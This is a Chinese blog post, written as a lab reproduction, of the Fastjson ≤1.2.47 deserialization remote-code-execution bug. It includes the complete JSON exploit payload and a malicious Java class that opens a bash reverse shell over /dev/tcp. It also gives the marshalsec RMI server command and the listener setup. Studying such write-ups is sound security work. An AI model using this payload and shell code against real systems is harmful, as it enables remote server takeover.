您的位置:首页 > Web前端 > JavaScript

菜鸡一枚(勿喷)复现Fastjson「=1.2.47反序列化漏洞

2020-07-09 17:48 387 查看

0x00 前言

fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。对版本小于1.2.48的版本通杀,autoType为关闭状态也可使用。 loadClass中默认cache设置为true,利用分为2步执行,首先使用java.lang.Class把获取到的类缓存到mapping中,然后直接从缓存中获取到了com.sun.rowset.JdbcRowSetImpl这个类,绕过了黑名单机制。

0x02 影响范围

Fastjson1.2.47以及之前的版本

0x03 环境搭建

Ubuntu搭建vulhub,一键启动就OK,地址https://vulhub.org/

成功搭建环境:

太菜也没啥油水,直接进入正题哇。

0x04 漏洞利用

靶机A:192.168.1.105

主机B:192.168.1.100:8888(启web服务)

主机C:192.168.1.100:9999(启rmi服务)

主机B、C可为同一主机(太菜,复现的时候老纠结)

总体流程:

靶机A收到攻击者发起的fastjson反序列化payload请求,触发反序列化漏洞,靶机A寻找rmi://主机C:9999/Exploit进行远程方法调用,rmi找到http://主机B:8888/Exploit.class 文件传递给靶机A,最终执行恶意java类Exploit.class 文件中的内容

fastjson反序列化payload:

[code]{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.1.100:9999/Exploit",
"autoCommit":true
}
}

恶意java类exploit文件内容:

[code]import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/xx.xx.xx.xx/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));

String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}

p.waitFor();
is.close();
reader.close();
p.destroy();
}

public static void main(String[] args) throws Exception {
}
}

使用javac编译Exploit.java

[code]javac Exploit.java

主机B启web服务,存放恶意java类

构造url:如http://192.168.1.100/Exploit.class可直接下载:

主机C:借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类Exploit.class

marshalsec-0.0.3-SNAPSHOT-all.jar

链接:https://pan.baidu.com/s/1q3_8g1Ix3hgPRbhRljr3Og 
提取码:g3wa

[code]java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.100:8888/#Exploit" 9999

此时rmi服务已就绪,等待接收靶机的请求

主机B:开启NC监听1888端口:

向靶机发送fastjson反序列化漏洞payload:

靶机A收到攻击者发起的fastjson反序列化payload请求,触发反序列化漏洞,靶机A寻找rmi://主机C:9999/Exploit(开启rmi的)进行远程方法调用,rmi找到http://主机B:8888/Exploit.class (web服务的)文件传递给靶机A,最终执行恶意java类Exploit.class 文件中的内容

反弹shell成功:

 

 

参考链接

https://freeerror.org/d/512-fastjson-1-2-24-1-2-47-rce

https://mp.weixin.qq.com/s/sWOuXnMd7r0q8W-sInMhGQ

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: